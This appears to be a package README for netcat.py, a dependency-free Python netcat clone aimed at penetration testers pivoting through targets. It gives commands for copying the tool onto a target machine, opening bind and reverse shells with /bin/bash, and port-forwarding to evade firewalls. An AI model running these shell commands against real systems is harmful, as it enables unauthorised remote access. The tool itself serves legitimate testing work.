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Description:

netcat 0.0.1a0

netcat.py

Dependency-less Python 2 and Python 3 compatible implementation of netcat which works on 32bit and 64bit systems to easily pivot your target.
Motivation
To have a single tool for older, newer, 32bit and 64bit machines with relevant options (-e. -L and -R) to create bind shells, local and remote port-forwards.
:tada: Install
pip install netcat

:coffee: TL;DR
Copy to target
# Copy base64 data to clipboard from where you have internet access
curl https://raw.githubusercontent.com/cytopia/netcat/master/bin/netcat.py | base64

# Paste it on the target machine
echo "<BASE64 STRING>" | base64 -d > netcat.py
chmod +x netcat.py

Summon shells
# bind shell
netcat.py -l -e '/bin/bash' 8080

# reverse shell
netcat.py -e '/bin/bash' example.com 4444

Port-forwarding without SSH
# Make local port available to public interface locally
netcat.py -L 127.0.0.1:3306 192.168.0.1 3306

# Remote port-forwarding to evade firewalls
netcat.py -R 127.0.0.1:3306 example.com 4444

:computer: Usage
usage: netcat.py [-Cnuv] [-e cmd] hostname port
netcat.py [-Cnuv] [-e cmd] -l [hostname] port
netcat.py [-Cnuv] -L addr:port [hostname] port
netcat.py [-Cnuv] -R addr:port hostname port
netcat.py -V, --version
netcat.py -h, --help

Netcat implementation in Python with connect, listen and forward mode.

positional arguments:
hostname Address to listen, forward or connect to
port Port to listen, forward or connect to

mode arguments:
-l, --listen Listen mode: Enable listen mode for inbound connects
-L addr:port, --local addr:port
Local forward mode: Specify local <addr>:<port> to which traffic
should be forwarded to.
Netcat will listen locally (specified by hostname and port) and
forward all traffic to the specified value for -L/--local.
-R addr:port, --remote addr:port
Remote forward mode: Specify local <addr>:<port> from which traffic
should be forwarded from.
Netcat will connect remotely (specified by hostname and port) and
for ward all traffic from the specified value for -R/--remote.

optional arguments:
-e cmd, --exec cmd Execute shell command. Only works with connect or listen mode.
-C, --crlf Send CRLF as line-endings (default: LF)
-n, --nodns Do not resolve DNS
-u, --udp UDP mode
-v, --verbose Be verbose and print info to stderr. Use -vv or -vvv for more verbosity.

misc arguments:
-h, --help Show this help message and exit
-V, --version Show version information and exit

examples:

Create bind shell
netcat.py -l -e '/bin/bash' 8080

Create reverse shell
netcat.py -e '/bin/bash' example.com 4444

Local forward: Make localhost port available to another interface
netcat.py -L 127.0.0.1:3306 192.168.0.1 3306

Remote forward: Forward local port to remote server
netcat.py -R 127.0.0.1:3306 example.com 4444

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:exclamation: Disclaimer
This tool may be used for legal purposes only. Users take full responsibility for any actions performed using this tool. The author accepts no liability for damage caused by this tool. If these terms are not acceptable to you, then do not use this tool.
:page_facing_up: License
MIT License
Copyright (c) 2020 cytopia